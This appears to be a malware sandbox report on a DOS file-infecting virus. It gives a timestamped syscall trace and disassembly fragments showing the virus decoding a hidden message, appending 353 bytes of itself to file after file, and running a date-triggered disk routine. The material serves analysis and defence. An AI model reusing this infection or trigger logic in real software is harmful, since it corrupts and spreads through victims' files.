Sample viewer

vx.netlux.org/Virus.DOS.Riot.Immortal.353

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:09:30.670838697Z 26 PC: 12a6a | Set disk transfer address
2018-12-17T23:09:30.673398217Z 53 PC: 12a70 | Get interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T23:09:30.675535244Z 53 PC: 12a7d | Get interrupt vector (Interrupt = '3' AKA 'Auxiliary input')
2018-12-17T23:09:30.685741816Z 44 PC: 12a88 | Get time 0x12a88: cmp dl, 0xd
0x12a8b: jg 0x12a91
0x12a8d: mov al, 0x82
0x12a8f: out 0x21, al
0x12a91: mov ah, 0x2c
0x12a93: int 0x21
0x12a95: cmp dl, 0x32
0x12a98: jg 0x12adb
0x12a9a: mov si, 0
0x12a9d: xor byte ptr [bp + si + 0x174], 0x41
0x12aa2: cmp si, 0x11
0x12aa5: je 0x12aaa
0x12aa7: inc si
0x12aa8: jmp 0x12a9d
0x12aaa: mov ah, 9
0x12aac: lea dx, word ptr [bp + 0x174]
0x12ab0: int 0x21
0x12ab2: mov ah, 0
0x12ab4: int 0x16
0x12ab6: jmp 0x12adb
2018-12-17T23:09:30.6893938Z 44 PC: 12a95 | Get time 0x12a95: cmp dl, 0x32
0x12a98: jg 0x12adb
0x12a9a: mov si, 0
0x12a9d: xor byte ptr [bp + si + 0x174], 0x41
0x12aa2: cmp si, 0x11
0x12aa5: je 0x12aaa
0x12aa7: inc si
0x12aa8: jmp 0x12a9d
0x12aaa: mov ah, 9
0x12aac: lea dx, word ptr [bp + 0x174]
0x12ab0: int 0x21
0x12ab2: mov ah, 0
0x12ab4: int 0x16
0x12ab6: jmp 0x12adb
0x12ab8: nop
0x12ab9: sub byte ptr [si], cl
0x12abb: or al, 0x2e
0x12abd: adc dx, word ptr [di]
0x12abf: and byte ptr [di], cl
0x12ac1: outsw dx, word ptr [si]
2018-12-17T23:09:30.692511109Z 78 PC: 12af4 | Find first file
2018-12-17T23:09:30.699451703Z 61 PC: 12b04 | Open file (Filename = '')
2018-12-17T23:09:30.706737416Z 63 PC: 12b12 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:30.723876587Z 66 PC: 12b21 | Move file pointer
2018-12-17T23:09:30.726398798Z 64 PC: 12b33 | Write file or device (Write 353 bytes on handle 5)
2018-12-17T23:09:30.741848043Z 66 PC: 12b3b | Move file pointer
2018-12-17T23:09:30.744762821Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:30.752719946Z 62 PC: 12b4f | Close file
2018-12-17T23:09:30.761720411Z 79 PC: 12af4 | Find next file
2018-12-17T23:09:30.765421097Z 61 PC: 12b04 | Open file (Filename = '')
2018-12-17T23:09:30.773330051Z 63 PC: 12b12 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:30.780654817Z 66 PC: 12b21 | Move file pointer
2018-12-17T23:09:30.783772527Z 64 PC: 12b33 | Write file or device (Write 353 bytes on handle 5)
2018-12-17T23:09:30.786798113Z 66 PC: 12b3b | Move file pointer
2018-12-17T23:09:30.788300507Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:30.791226917Z 62 PC: 12b4f | Close file
2018-12-17T23:09:30.800709989Z 79 PC: 12af4 | Find next file
2018-12-17T23:09:30.803877182Z 61 PC: 12b04 | Open file (Filename = '')
2018-12-17T23:09:30.811122989Z 63 PC: 12b12 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:30.818765112Z 66 PC: 12b21 | Move file pointer
2018-12-17T23:09:30.82070086Z 64 PC: 12b33 | Write file or device (Write 353 bytes on handle 5)
2018-12-17T23:09:30.823970966Z 66 PC: 12b3b | Move file pointer
2018-12-17T23:09:30.83061357Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:30.833496298Z 62 PC: 12b4f | Close file
2018-12-17T23:09:30.842160382Z 79 PC: 12af4 | Find next file
2018-12-17T23:09:30.846340848Z 61 PC: 12b04 | Open file (Filename = '')
2018-12-17T23:09:30.854242198Z 63 PC: 12b12 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:30.8613996Z 66 PC: 12b21 | Move file pointer
2018-12-17T23:09:30.863617789Z 64 PC: 12b33 | Write file or device (Write 353 bytes on handle 5)
2018-12-17T23:09:30.867067783Z 66 PC: 12b3b | Move file pointer
2018-12-17T23:09:30.868761917Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:30.872859157Z 62 PC: 12b4f | Close file
2018-12-17T23:09:30.886768168Z 79 PC: 12af4 | Find next file
2018-12-17T23:09:30.889434209Z 61 PC: 12b04 | Open file (Filename = '')
2018-12-17T23:09:30.894774034Z 63 PC: 12b12 | Read file or device (Read 4 bytes on handle 5)
2018-12-17T23:09:30.900475961Z 66 PC: 12b21 | Move file pointer
2018-12-17T23:09:30.902448488Z 64 PC: 12b33 | Write file or device (Write 353 bytes on handle 5)
2018-12-17T23:09:30.904735155Z 66 PC: 12b3b | Move file pointer
2018-12-17T23:09:30.906649242Z 64 PC: 12b46 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T23:09:30.910337504Z 62 PC: 12b4f | Close file
2018-12-17T23:09:30.91871557Z 42 PC: 12b64 | Get date 0x12b64: cmp dh, 0x11
0x12b67: jl 0x12b88
0x12b69: cmp dl, 8
0x12b6c: jl 0x12b88
0x12b6e: mov ah, 0x19
0x12b70: int 0x21
0x12b72: mov cx, 0x25
0x12b75: mov dx, 0
0x12b78: lea bx, word ptr [bp + 0x174]
0x12b7c: push ds
0x12b7d: pop es
0x12b7e: mov byte ptr [bp + 0x23f], 0x26
0x12b83: int 0x19
0x12b85: add sp, 2
0x12b88: mov ah, 0x1a
0x12b8a: mov dx, 0x80
0x12b8d: int 0x21
0x12b8f: mov di, 0x100
0x12b92: push di
0x12b93: ret
2018-12-17T23:09:30.921871111Z 26 PC: 12b8f | Set disk transfer address